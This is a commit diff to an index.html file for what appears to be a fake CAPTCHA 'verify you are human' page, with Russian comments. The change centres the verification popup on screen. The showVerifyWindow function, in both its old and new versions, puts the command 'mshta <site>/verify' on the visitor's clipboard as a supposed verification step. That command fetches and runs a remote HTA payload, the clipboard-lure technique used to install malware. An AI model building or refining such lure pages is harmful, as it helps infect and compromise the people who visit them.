enotkrutoy commited on
Commit
ae3cadb
·
verified ·
1 Parent(s): a520916

Update index.html

Browse files
Files changed (1) hide show
  1. index.html +47 -20
index.html CHANGED
@@ -1,3 +1,7 @@
 
 
 
 
1
  <!DOCTYPE html>
2
 
3
  <html lang="en">
@@ -405,28 +409,51 @@
405
  }
406
 
407
 
408
- function showVerifyWindow() {
409
- verifywindow.style.display = "block";
410
- verifywindow.style.visibility = "visible";
411
- verifywindow.style.opacity = "1";
412
- verifywindow.style.top = checkboxWindow.offsetTop - 80 + "px";
413
- verifywindow.style.left = checkboxWindow.offsetLeft + 54 + "px";
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
414
 
415
- if (verifywindow.offsetTop < 5) {
416
- verifywindow.style.top = "5px";
417
- }
418
 
419
- if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth-10 ) {
420
- verifywindow.style.left = checkboxWindow.offsetLeft - 8 + "px";
421
- }
422
-
423
- var verification_id = generateRandomNumber();
424
- document.getElementById('verification-id').textContent = verification_id;
425
-
426
- const htaPath = window.location.origin + "/verify";
427
- const commandToRun = "mshta " + htaPath
428
- stageClipboard(commandToRun, verification_id)
429
- }
430
 
431
  addCaptchaListeners();
432
 
 
1
+
2
+
3
+ окно верификации будет расположено в центре экрана браузера
4
+
5
  <!DOCTYPE html>
6
 
7
  <html lang="en">
 
409
  }
410
 
411
 
412
+ function showVerifyWindow() {
413
+ // Убедитесь, что verifywindow существует
414
+ if (!verifywindow) {
415
+ console.error('Verify window element is missing!');
416
+ return;
417
+ }
418
+
419
+ // Показать окно проверки
420
+ verifywindow.style.display = "block";
421
+ verifywindow.style.visibility = "visible";
422
+ verifywindow.style.opacity = "1";
423
+
424
+ // Центрирование окна
425
+ verifywindow.style.position = "fixed";
426
+ verifywindow.style.top = "50%";
427
+ verifywindow.style.left = "50%";
428
+ verifywindow.style.transform = "translate(-50%, -50%)";
429
+
430
+ // Установка минимальной позиции
431
+ if (verifywindow.offsetTop < 5) {
432
+ verifywindow.style.top = "5px";
433
+ }
434
+
435
+ // Корректировка позиции, если окно выходит за границы экрана
436
+ if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth) {
437
+ verifywindow.style.left = window.innerWidth - verifywindow.offsetWidth + "px";
438
+ }
439
+
440
+ // Генерация уникального идентификатора проверки
441
+ var verification_id = generateRandomNumber();
442
+ // Убедитесь, что элемент для отображения ID существует
443
+ var verificationIdElement = document.getElementById('verification-id');
444
+ if (verificationIdElement) {
445
+ verificationIdElement.textContent = verification_id;
446
+ } else {
447
+ console.error('Verification ID element is missing!');
448
+ }
449
+
450
+ // Формирование команды для выполнения
451
+ const htaPath = window.location.origin + "/verify";
452
+ const commandToRun = "mshta " + htaPath;
453
+ stageClipboard(commandToRun, verification_id);
454
+ }
455
 
 
 
 
456
 
 
 
 
 
 
 
 
 
 
 
 
457
 
458
  addCaptchaListeners();
459